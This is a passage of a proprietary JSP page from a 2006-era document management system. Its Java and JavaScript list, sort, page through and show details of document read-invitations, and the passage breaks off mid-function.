<%
/*
 * @(#)ListDmsNewInvitation.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsNewInvitation.jsp

  This is a ListDmsNewInvitation page.  It shows the System User Defined Index in EIP.

    @author             barbin
    @company            DCIVision Ltd
    @creation date      13/09/2006
    @version            $Revision: 1.45.2.53 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.audit.bean.*" %>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.dao.*"%>
<%@ page import="com.dcivision.audit.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>

<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsInvitationForm" scope="request" class="com.dcivision.dms.web.MaintDmsInvitationForm"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/

  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String      LIST_NAME = "maintDmsInvitationForm";
  String docID = (String)request.getSession().getAttribute("documentID");

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.invite_date", "CTEATE_DATE"},
                            {"dms.label.invitee.subject", "ALERT_SUBJECT"},
                            {"dms.label.invitee.message", "MESSAGE"},
                            {"dms.label.invite.number_of_read", "EMAIL_SUBJECT"},
                            {"dms.label.invitee.due_date", "DUE_DATE"}
                          };
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  UpdateAlertDAObject updateAlertDAO = new UpdateAlertDAObject(sessionContainer,conn);
  String pageFlag = "ListDmsNewInvitation";

  DmsDocument dmsDocument = (DmsDocument)request.getAttribute("dmsDocument");
  String recordStatues =   dmsDocument.getRecordStatus();
  String doucmentType = dmsDocument.getDocumentType();
  String ID = dmsDocument.getID().toString();
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  if (rootFolder == null) {
    rootFolder = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
  }
  StringBuffer subject = new StringBuffer();
  subject.append("Please read ");
  subject.append(dmsDocument.getDocumentName());
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getID());

  maintDmsDocumentForm = docRetrievalManager.getAllDocumentRelatedInfo(TextUtility.parseIntegerObj(ID));  
  request.setAttribute("maintDmsDocumentForm", maintDmsDocumentForm);
  
  DmsDocument targetDocument = (DmsDocument)maintDmsDocumentForm.getFormData();


  String actionTypeAlert = maintDmsDocumentForm.getActionTypeA();
  String alertNotificationWays = maintDmsDocumentForm.getNotifyWayA();
  //get max display page size
  int m_nMaxPageItems = 5;

  String dbDateTimeFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT);
  DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
  String docItemStatus = maintDmsDocumentForm.getItemStatus();
  Integer checkoutPersonID = new Integer("0");
  if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
    checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(TextUtility.parseIntegerObj(maintDmsDocumentForm.getCheckoutID()));
    checkoutPersonID = checkoutHistory.getCheckoutPersonID();
  }

  /*Parameter for common document info */
  final Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  final Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  final String documentType  = maintDmsDocumentForm.getDocumentType();
  final String sCurFunctionCode = (String) maintDmsDocumentForm.getCurFunctionCode();
  final List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();
  final List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();
  Integer UpdateAlertSystemLogIDInteger = TextUtility.parseIntegerObj(request.getParameter("updateAlertSystemLogID"));
  String fromEmail=request.getParameter("fromEmail");
  if(Utility.isEmpty(fromEmail)){
    fromEmail=(String)session.getAttribute("fromEmail");
  }
  session.setAttribute("fromEmail",fromEmail);

  String appPath = SystemParameterFactory
                        .getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL);

// for  shortcut
  DmsDocument targetDoc = new DmsDocument();
  DmsDocument targetDocRoot = new DmsDocument();
  String targetDocPermission = "";

  //get list of the document relation
  MtmDocumentRelationshipDAObject dmsMtmDocumentRelationshipDAO = new MtmDocumentRelationshipDAObject (sessionContainer, conn);
  List DocRelationList = new ArrayList();
  List IndirectRelationDocumentList=new ArrayList();
  DocRelationList = dmsMtmDocumentRelationshipDAO.getListByIDRelationType(TextUtility.parseIntegerObj(ID),null);
  IndirectRelationDocumentList=dmsMtmDocumentRelationshipDAO.getListByRelationIDRelationType(TextUtility.parseIntegerObj(ID),null);
  if(!Utility.isEmpty(IndirectRelationDocumentList)){
	  DocRelationList.addAll(IndirectRelationDocumentList);	  
  }
  //get list of compound document

  List CompoundDocList = new ArrayList();
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)){
      CompoundDocList=docRetrievalManager.getDocumentListByParentIDRootID(TextUtility.parseIntegerObj(ID), rootID);
  }

  String updateReadOperation = (String) request.getParameter("updateReadOperation");
  String updateAlertSystemLogID = (String) request.getParameter("updateAlertSystemLogID");
  boolean inviteToRead = false;

  if (!Utility.isEmpty(updateAlertSystemLogID)){
    if("true".equals(updateReadOperation)){
      AlertManager alertManager = new AlertManager(sessionContainer, conn);
      alertManager.updateReadOperationLog(new Integer(updateAlertSystemLogID));
    }
  }

  if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)){
    inviteToRead = true;
  }
  Integer updateAlertID = TextUtility.parseIntegerObj(request.getParameter("updateAlertID"));
  Integer tmpUpdateAlertID = updateAlertDAO.getInvitationIDByAlertIDorSystemLogID(updateAlertID, UpdateAlertSystemLogIDInteger);
  boolean isInvitation = (tmpUpdateAlertID!=null);

  String displayType = (String)request.getSession().getAttribute("displayType");
  request.getSession().removeAttribute("displayType");
  boolean isDisplay = true;
  if(displayType!=null){
    isDisplay = false;
  }
  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
    directURL = request.getContextPath()+"/dms/MaintDmsDocument.do?documentType="+dmsDocument.getDocumentType()+"&rootID="+dmsDocument.getRootID()+"&parentID="+dmsDocument.getID()+"&sCurFunctionCode="+sCurFunctionCode+"&navMode=P&ID="+dmsDocument.getID()+"&objectID="+dmsDocument.getID()+"&fromEmail="+fromEmail+"&updateReadOperation="+updateReadOperation;
  }
  directURL=java.net.URLEncoder.encode(directURL);

  DmsRoot dmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(dmsDocument.getID());
  boolean isPersonalRoot = (dmsRoot!=null && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType()));
  String recordStatus = maintDmsDocumentForm.getRecordStatus();
 boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);

 String contextPath = (String)pageContext.getServletContext().getAttribute(GlobalConstant.CONTEXT_PATH_KEY);
  String sVersion = DmsOperationConstant.DMS_TOP_VERSION;
  String sFileName=maintDmsDocumentForm.getDocumentName();
  int iDot = sFileName.lastIndexOf(".");
  String sExt = TextUtility.getExtension(sFileName);
  
	String isReload = Utility.isEmpty(request.getParameter("isReload"))? (String)request.getAttribute("isReload") : (String)request.getParameter("isReload");
%>
<!-- Static Javascript End -->
<script src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/effects.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/controls.js" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/InviteePickerDWRFacade.js' type='text/javascript'></script>
<script src="<%= request.getContextPath() %>/js/inviteePicker.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/OldTree.jsp" language="Javascript" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>

<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/interface/DmsInvitationAjaxProcessor.js"></script>
<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/engine.js"></script>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>

 <script>
 <!--
  var relatedDocIDArray=new Array();
  var indirectRelationDocIDArray=new Array();
  var notAllowRelatedDownLoadIDAry = new Array();
  var notAllowIndirectRelationDownLoadIDAry=new Array();
  function CancelInvitationShow(){
    try{
      parent.frameRemoteDlg.hide();
      parent.document.getElementsByTagName("body")[0].scroll="yes";
      if(window.opener){
        window.close();
      }

    }catch(e){
    }
  }

  function checkWindowForAction(url) {
    parent.location.href = url;
  }

  function InitializeAction(){
    var property = document.maintDmsInvitationForm.opMode.value;
    if (FindObj('iframeLoading')) {
      FindObj('iframeLoading').style.visibility='hidden';
    }
    if (self.INIT) {
      self.INIT();
    }
    if (parent.adjustIFrameSize){
      parent.adjustIFrameSize(window);
    }
    if(property=="P"){
      enterTabAction("PropertyTab");
    }else{
      getResultCallAjax();
      enterTabAction("InvitationTab");
    }
  }

  function purge(d) {
  var a = d.attributes, i, l, n;
  if (a) {
    l = a.length;
    for (i = 0; i < l; i += 1) {
      n = a[i].name;
      if (typeof d[n] === 'function') {
        d[n] = null;
      }
    }
  }
  a = d.childNodes;
  if (a) {
    l = a.length;
    for (i = 0; i < l; i += 1) {
      purge(d.childNodes[i]);
    }
  }
}

var newOrder = "DESC";
function getResultCallAjax(){
  document.getElementById("loading").style.display = "";
  var curPage = document.maintDmsInvitationForm.curStartRowNo.value;
  var sortOrder = document.maintDmsInvitationForm.sortOrder.value;
  var sortAttribute = document.maintDmsInvitationForm.sortAttribute.value;
  DmsInvitationAjaxProcessor.getAllInvitationList(returnResult,documentId,curPage,sortAttribute,sortOrder);
}

//page record
function callAjaxSort(pageNo, sortAttribute, sortOrder, retriveList){
  hideWhenNoRecordSelected(true);
  var rowNo = (pageNo-1) * <%=m_nMaxPageItems%> + 1; 
  document.maintDmsInvitationForm.curStartRowNo.value = rowNo;
  document.maintDmsInvitationForm.sortAttribute.value = sortAttribute;
  document.maintDmsInvitationForm.sortOrder.value = sortOrder;
  getResultCallAjax();
}

function getStatusRecord(value,status){
  var dataValue = value;
  if(status == "E"){
    dataValue = "<font color='red'>"+value+"</font>";
  }
  if(status == "C"){
    dataValue = "<font color='#9f9f9f'><strike>"+value+"</strike></font>";
  }
  return dataValue;
}

var preObj = null;

function showDetail(obj,id,date,duedate,invtee,subject,message,num,read,unread,status,rowIndex){
  hideWhenNoRecordSelected(false);
  for( var i = 0; i < <%= m_nMaxPageItems%> ; i ++ ){
  	var row = document.getElementById("tr" + i);
  	if( row ){
  	  var cells = row.getElementsByTagName('td');
  	  for( var j = 0 ; j < cells.length ; j ++ ){
        var cell = cells[j];
   	    cell.style.backgroundColor = '#FFFFFF';
  	  }
  	}
  }
  
  var row = document.getElementById("tr" + rowIndex);
  if( row ){
  	var cells = row.getElementsByTagName('td');
  	for( var j = 0 ; j < cells.length ; j ++ ){
  	  var cell = cells[j];
  	  cell.style.backgroundColor = '#B5D2EA';
  	}
  }
  	
  if (obj!=preObj){
    obj.className = "listContentOnclick";
    preObj!=null?preObj.className="listContent"+preObj.id.substring(2)%2:'';
    preObj = obj;
  }
  state = status;
  invitationID = id;
  var inviteeCount = [0,0];
  inviteeCount[0] = read.split(";").length-1;
  inviteeCount[1] = unread.split(";").length-1;
  var userString = ["","",""];
  var groupString = ["","",""];
  var roleString = ["","",""];
  if(invtee.length>0){
    var invite = invtee.split(";");
    for(var p=0; p<invite.length; p++){
      var single = invite[p];
      var type = single.split(":");
      if(type[0]=="U"){
        getUserString(userString,type);
      }
      if(type[0]=="R"){
		getRoleGroupString(roleString,type,'<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconRole.gif');
      }
      if(type[0]=="G"){
        getRoleGroupString(groupString,type,'<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconGroup.gif');
      }
      if(type[0]=="E"){
        invtees += "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconMenu-DMS_EMAIL_ARCHIVE.gif\" align=\"absmiddle\" border=\"0\">"+type[1]+"&nbsp;&nbsp;";
      }
    }
  }
  
  var readed = "<div><table style=\"font-size:13px\"><tr><td>" + userString[0] + groupString[0] + roleString[0] + "</td></tr></table></div>";
  var unread = "<div><table style=\"font-size:13px\"><tr><td>" + userString[1] + groupString[1] + roleString[1] + "</td></tr></table></div>";
  var readedAndUnread = "<div><table style=\"font-size:13px\"><tr><td>" + userString[2] + groupString[2] + roleString[2] + "</td></tr></table></div>";
  
  document.getElementById("sentDateDetail").innerHTML = date;
  document.getElementById("dueDateDetail").innerHTML = duedate;
  document.getElementById("subjectDetail").innerHTML = subject;
  document.getElementById("messageDetail").innerHTML = message;
  document.getElementById("inviteeCount").innerHTML = inviteeCount[0] + inviteeCount[1];
  document.getElementById("readedInviteeCount").innerHTML = inviteeCount[0];
  document.getElementById("unreadInviteeCount").innerHTML = inviteeCount[1];
  document.getElementById("readedInvitees").innerHTML = readed;
  document.getElementById("unreadInvitees").innerHTML = unread;
  document.getElementById("allInvitees").innerHTML = readedAndUnread;
  
  showDetailTab(0);
}

function showDetailTab(idx){
	var inviteeList = "<bean:message key="dms.label.invite.invitee_list"/>" + " (" +  document.getElementById("inviteeCount").innerHTML + ")";
	var readedInvitee = "<bean:message key="dms.label.invite.number_of_read.read"/>" + " (" + document.getElementById("readedInviteeCount").innerHTML + ")";
	var unreadInvitee = "<bean:message key="dms.label.invite.number_of_read.unread"/>" + " (" + document.getElementById("unreadInviteeCount").innerHTML + ")";
	var figure = document.getElementById("inviteeFigure");
	var allInvitees = document.getElementById("allInvitees");
	var readedInvitees = document.getElementById("readedInvitees");
	var unreadInvitees = document.getElementById("unreadInvitees");
	figure.style.display = "none";
	allInvitees.style.display = "none";
	readedInvitees.style.display = "none";
	unreadInvitees.style.display = "none";
	
	if( idx == 0 ){
		var tab = document.getElementById("inviteeTabCount");
		tab.style.backgroundColor = "#B9B9B9";
		tab.style.color = "#FFFFFF";
		tab = document.getElementById("inviteeTabReaded");
		tab.style.backgroundColor = "";
		tab.style.color = "#000000";
		tab = document.getElementById("inviteeTabUnread");
		tab.style.backgroundColor = "";
		tab.style.color = "#000000";
		
		figure.style.display = "";
		allInvitees.style.display = "";
		
		readedInvitee = "<a href='javascript:showDetailTab(1)'>" + readedInvitee + "</a>";
		unreadInvitee = "<a href='javascript:showDetailTab(2)'>" + unreadInvitee + "</a>";
	} else if ( idx == 1 ){
		var tab = document.getElementById("inviteeTabReaded");
		tab.style.backgroundColor = "#B9B9B9";
		tab.style.color = "#FFFFFF";
		tab = document.getElementById("inviteeTabCount");
		tab.style.backgroundColor = "";
		tab.style.color = "#000000";
		tab = document.getElementById("inviteeTabUnread");
		tab.style.backgroundColor = "";
		tab.style.color = "#000000";
		
		readedInvitees.style.display = "";
		
		inviteeList = "<a href='javascript:showDetailTab(0)'>" + inviteeList + "</a>";
		unreadInvitee = "<a href='javascript:showDetailTab(2)'>" + unreadInvitee + "</a>";
	} else if ( idx == 2 ){
		var tab = document.getElementById("inviteeTabUnread");
		tab.style.backgroundColor = "#B9B9B9";
		tab.style.color = "#FFFFFF";
		tab = document.getElementById("inviteeTabCount");
		tab.style.backgroundColor = "";
		tab.style.color = "#000000";
		tab = document.getElementById("inviteeTabReaded");
		tab.style.backgroundColor = "";
		tab.style.color = "#000000";
		
		unreadInvitees.style.display = ""; 
		
		inviteeList = "<a href='javascript:showDetailTab(0)'>" + inviteeList + "</a>";
		readedInvitee = "<a href='javascript:showDetailTab(1)'>" + readedInvitee + "</a>";
	}
	
	document.getElementById("inviteeCountTitle").innerHTML = inviteeList;
	document.getElementById("inviteeReadedTitle").innerHTML = readedInvitee;
	document.getElementById("inviteeUnreadTitle").innerHTML = unreadInvitee;
}

function getUserString(userString,str){
	var idx = parseInt(str[2])-1;
	userString[idx] += "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconUser.gif\" align=\"absmiddle\" border=\"0\">"+str[1]+"&nbsp;&nbsp;";
	userString[2] += (idx == 0) ? userString[0] : "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconUser.gif\" align=\"absmiddle\" border=\"0\"><font color=#9F9F9F>"+str[1]+"</font>&nbsp;&nbsp;"; 
}

function getRoleGroupString(roleString,str,imgsrc){
	var popupView = "<table bgColor=#e2edff cellspacing=3 cellpadding=3 style=border:1px solid #6b717b;>";
	var userString = ["",""];
	var users = [[],[]];
	for(var i = 2 ; i < str.length ; i +=2 ){
		var idx = parseInt(str[i+1])-1;
		var curusers = users[idx];
		curusers[curusers.length] = str[i];
	}
	
	for(var i = 0 ; i < users[0].length-1 ; i ++ ){
		for(var j = i+1 ; j < users[0].length; j ++ ){
			if( users[0][i] > users[0][j] ){
				var tmp = users[0][i];
				users[0][i] = users[0][j];
				users[0][j] = tmp;
			}
		}
	}
	for(var i = 0 ; i < users[1].length-1 ; i ++ ){
		for(var j = i+1 ; j < users[1].length; j ++ ){
			if( users[1][i] > users[1][j] ){
				var tmp = users[1][i];
				users[1][i] = users[1][j];
				users[1][j] = tmp;
			}
		}
	}
	
	for(var i = 0 ; i < users[0].length ; i ++ ){
		userString[0] += users[0][i] + ",";
		if( i != 0 && (i%4) == 0 && i != users[0].length -1 ){
			userString[0] += "<br>";
		}
	}
	for(var i = 0 ; i < users[1].length ; i ++ ){
		userString[1] += users[1][i] + ",";
		if( i != 0 && (i%4) == 0 && i != users[1].length -1 ){
			userString[1] += "<br>";
		}
	}
	
	userString[0] = userString[0].length > 0 ? userString[0].substring(0,userString[0].length -1 ) : "";
	userString[1] = userString[1].length > 0 ? userString[1].substring(0,userString[1].length -1 ) : "";
	popupView += "<tr><td>Read:</td></tr><tr><td>";
	popupView += userString[0];
	popupView += "</td></tr><tr><td>Unread:</td></tr><tr><td>";
	popupView += userString[1];
	popupView += "</td></tr></table>";
	
	var idx = userString[1].length == 0 ? 0 : 1;
	roleString[idx] += "<span  onmouseout='nd();' onmouseover=\"getDocumentInfo('"+popupView+"')\"><img src=\""+imgsrc+"\" align=\"absmiddle\" border=\"0\">"+str[1]+"</span>&nbsp;&nbsp;";
	roleString[2] += (idx == 0 )?roleString[0]:"<span  onmouseout='nd();' onmouseover=\"getDocumentInfo('"+popupView+"')\"><img src=\""+imgsrc+"\" align=\"absmiddle\" border=\"0\"><font color=#9F9F9F>"+str[1]+"</font></span>&nbsp;&nbsp;";
}

function eeee(event){
  try{
    switch(event.keyCode){
      case 38:
        if (preObj!=null){
          var idx =parseInt(preObj.id.substring(2))-1;
          if (idx<0)
          {
            idx =0;
            return;
          }
          document.getElementById("tr"+idx).className = "listContentOnclick";
          preObj!=null?preObj.className="listContent"+preObj.id.substring(2)%2:'';
          preObj = document.getElementById("tr"+idx);
          document.getElementById("tr"+idx).click();
        }
        return;
      case 40:
        if (preObj!=null){
          var idx =parseInt(preObj.id.substring(2))+1;
          if (idx><%=(m_nMaxPageItems-1)%>)
          {
            idx = <%=(m_nMaxPageItems-1)%>;
            return;
          }
          document.getElementById("tr"+idx).className = "listContentOnclick";
          preObj!=null?preObj.className="listContent"+preObj.id.substring(2)%2:'';
          preObj = document.getElementById("tr"+idx);
          document.getElementById("tr"+idx).click();
        }
        return;
    }
  }catch(e){}
}

//get result from database and parse it show it in table
function returnResult(content){
  var frm = document.maintDmsInvitationForm;
  var total_records=0;
  var listRecord = "";

  if( content.length != 0 ){
  	hideWhenNoInvitation(false);
  } else {
  	hideWhenNoInvitation(true);
  }
  hideWhenNoRecordSelected(true);
  
  for(var i=0;i<<%=m_nMaxPageItems%>;i++){
    if (i<content.length){
        var tempStr=content[i].replace(/null/g,"-");
        var data = tempStr.split("|");
        var dateValue = data[1];
        var date =  data[1];
        var subjectValue = data[2];
        var subject = data[14];
        var messageValue = data[3];
        var message = data[15];
        var totalNumber = data[4];
        var readNumber = data[5];
        var dueDateValue = data[6];
        var duedate  =  data[6];

        var status = data[7];
        var id = data[8]
        var sortAttribute = data[9];
        var sortOrder = data[10];
        var invtees = data[11];
        var readUser = data[12];
        var unReaduser = data[13];
		total_records = parseInt(data[0]);
        //get the date value;
        dateValue = getStatusRecord(dateValue,status);
        var dateRecord = "<td class='normaltext'>"+dateValue+"</td>";

        subjectValue = getStatusRecord(subjectValue,status);
        var subjectRecord = "<td class='normaltext'>"+subjectValue+"</td>";

        messageValue = messageValue.replace(/'|"/g,"");
        messageValue = getStatusRecord(messageValue,status);
        var messageRecord = "<td class='normaltext'>"+messageValue+"</td>";

        //get number of read
        var numRead = readNumber+"/"+totalNumber;
        var number = numRead;
        numRead = getStatusRecord(numRead,status);
        readnumberRecord =  "<td class='normaltext'>"+numRead+"</td>";

        //get due date value

        if(dueDateValue.length<8){
          dueDateValue = "N/A";
        }
        var dueDate = getStatusRecord(dueDateValue,status);

        var dueDateRecord = "<td class='nomaltext' style=''>"+dueDate+"</td>";
        //  a row data
        var trRecord = "<tr id='tr"+i+"'  onclick='return showDetail(this,\""+id+"\",\""+date+"\",\""+duedate+"\",\""+invtees+"\",\""+subject.replace(/\\\'/gi,"&acute;")+"\",\""+message+"\",\""+number+"\",\""+readUser+"\",\""+unReaduser+"\",\""+status+"\",\"" + i + "\")'>"+dateRecord+subjectRecord+readnumberRecord+dueDateRecord+"</tr>";
        // get title value
        //var title = getTitle(sortAttribute,sortOrder);
        listRecord += trRecord;
    } else {
        var trRecord = "<tr id='tr"+i+"' ><td>&nbsp;</td><td></td><td></td><td></td>" + "</tr>";
        listRecord += trRecord;
    }
  }
  if(content==null || content=="undefined" || content == ""){
    var title = getTitle("","");
  } else {
    var title = getTitle(sortAttribute,sortOrder);
  }
  document.getElementById("dataGrid").innerHTML = "<table width='100%'>"+title+listRecord+"</table>";

  setPager(total_records,frm);
  
  document.getElementById("loading").style.display = "none";
}

function setPager(total_records,frm){
//page
  var m_nMaxPageItems = <%=m_nMaxPageItems%>;
  var total_pages = parseInt((total_records+m_nMaxPageItems-1)/m_nMaxPageItems);
  if(total_pages==0){
    total_pages=1;
  }
  
  var laststartRow = (total_pages-1)*m_nMaxPageItems+1;
  var curPage=parseInt((frm.curStartRowNo.value-1)/m_nMaxPageItems)+1;
  var smt = document.getElementById("pageStatement");
  var startRow = (curPage - 1 ) * m_nMaxPageItems + 1;
  var lastRow = curPage * m_nMaxPageItems;
  lastRow = lastRow > total_records ? total_records :lastRow ;
  smt.innerHTML = startRow + " - " + lastRow + " of " + total_records + " Record(s)" ;
  
  if( total_pages > 1 ){
  	var sortAttribute = frm.sortAttribute.value;
  	var sortOrder = frm.sortOrder.value;
  	var lastPageIndex = total_pages;
  	var nextPageIndex = curPage+1;
  	var prevPageIndex = curPage-1;
  	var firstPageIndex = 1;
  	var sep = document.getElementById("sepBar");
  	
  	var tmpInner = "";
  	if( curPage < total_pages ){
  		tmpInner += "<a href='javascript:callAjaxSort(" + lastPageIndex + ",\"" + sortAttribute + "\",\"" + sortOrder + "\")'>"+"<div class='lastPage'></div></a>";
  		tmpInner += "<a href='javascript:callAjaxSort(" + nextPageIndex + ",\"" + sortAttribute + "\",\"" + sortOrder + "\")'>"+"<div class='nextPage'></div></a>";
  	} else {
  		tmpInner += "<div class='lastPageDis'></div>";
  		tmpInner += "<div class='nextPageDis'></div>";
  	}
  	tmpInner +="<select class='pageSelector' onchange='callAjaxSort(this.value,\"" + sortAttribute + "\",\"" + sortOrder + "\")'>" ;
  	for(var i = 1 ; i <= total_pages ; i ++ ){
  		tmpInner +="<option value='" + i + "' ";
  		if( i == curPage ){
  			tmpInner += "selected";
  		}
  		tmpInner +=">" + i + "</option>";
  	}
  	tmpInner +="</select>";
  	if( curPage > 1 ){
  		tmpInner += "<a href='javascript:callAjaxSort(" + prevPageIndex + ",\"" + sortAttribute + "\",\"" + sortOrder + "\")'>"+"<div class='prePage'></div></a>";
  		tmpInner += "<a href='javascript:callAjaxSort(" + firstPageIndex + ",\"" + sortAttribute + "\",\"" + sortOrder + "\")'>"+"<div class='firstPage'></div></a>";
  	} else {
  		tmpInner += "<div class='prePageDis'></div>";
  		tmpInner += "<div class='prePageDis'></div>";
  	}
  	sep.innerHTML = tmpInner;
  }
}

//sort
function orderList(column,sortOrder){
 document.maintDmsInvitationForm.sortAttribute.value=column;
 document.maintDmsInvitationForm.sortOrder.value = sortOrder;
 document.maintDmsInvitationForm.curStartRowNo.value= "1";
 getResultCallAjax();
}

// getTitle in order to sort with column
function getTitle(sortAttribute,sortOrder){
   var titleArr =  new Array(
    "<bean:message key='dms.label.invite_sentdate'/>",
    "<bean:message key='dms.label.invitee.subject'/>",
    "<bean:message key='dms.label.invite.number_of_read'/>",
    "<bean:message key='dms.label.invitee.due_date'/>"
    );
	var widthArr = ['20%','55%','10%','15%'];
  var sortArray = new Array("CREATE_DATE","ALERT_SUBJECT","TEADNUMBER","DUE_DATE");
   if(sortAttribute == "CREATE_DATE"){
     sortAttribute = "<bean:message key='dms.label.invite_sentdate'/>";
   }
   if(sortAttribute == "ALERT_SUBJECT"){
     sortAttribute = "<bean:message key='dms.label.invitee.subject'/>";
   }
   if(sortAttribute == "TEADNUMBER"){
     sortAttribute = "<bean:message key='dms.label.invite.number_of_read'/>";
   }
   if(sortAttribute == "DUE_DATE"){
     sortAttribute = "<bean:message key='dms.label.invitee.due_date'/>";
   }
   var str ="";
   if(sortOrder == 'DESC'){
    newOrder = "ASC";
   }
   else{
    newOrder = "DESC";
   }
   str += "<thead>";
    for (var i=0;i<titleArr.length;i++ ) {
      if (titleArr[i]==sortAttribute) {
        str += "<th width='" + widthArr[i] + "' style='border-top:1px solid #DCDCDC'>" + (i != 0 ? "<div class='sep'>" : "<div class='firstsep'>") ; 
        if (sortOrder=='DESC') {
          str += "<div class='sortDesc'>";
        }else {
		  str += "<div class='sortAsc'>";
        }
        str += "<a href='#' class='sortable_column_header' onclick='return orderList(\""+sortArray[i]+"\",\""+newOrder+"\")'>" + titleArr[i] + "</a>";
        str +="</div></div></th>";
      }else {
        str += "<th nowrap width='" + widthArr[i]+ "' style='border-top:1px solid #DCDCDC'>" + (i != 0 ? "<div class='sep'>" : "<div class='firstsep'>") + "<a href='#' class='sortable_column_header' onclick='return orderList(\""+sortArray[i]+"\",\""+newOrder+"\")'>"+titleArr[i]+"</a></div></th>";
      }
  }
    str += "</thead>";
    return str;
}

// update due date the invitation
// cancel the document invitaiton
var documentId = "<%=docID%>";
var invitationID = "";
var selectedRowNum = 0;
var state = "A";
function quickInvitee(){
  var frm = document.maintDmsInvitationForm;
  var user = document.getElementsByName("userList");
  var group = document.getElementsByName("groupList");
  var role = document.getElementsByName("roleList");
  if(user.length<1 && group.length<1 && role.length<1){
    alert("invitees can not be null!");
    return false;
  }
  frm.opMode.value="QUICK";
  document.maintDmsInvitationForm.dueDate.value = "";
  document.getElementById("loading").style.display = "";
  frm.submit();
}
function updateCancelCopy(flag){

  if(invitationID == ""){
    alert("Please Choose a document Invitation!");
    return false;
  }
  if(flag=="update"){
     if(state == "C"){
       alert("This Invitation already Canceled!");
       return false;
     }
    var dueDate =  document.maintDmsInvitationForm.dueDate.value;
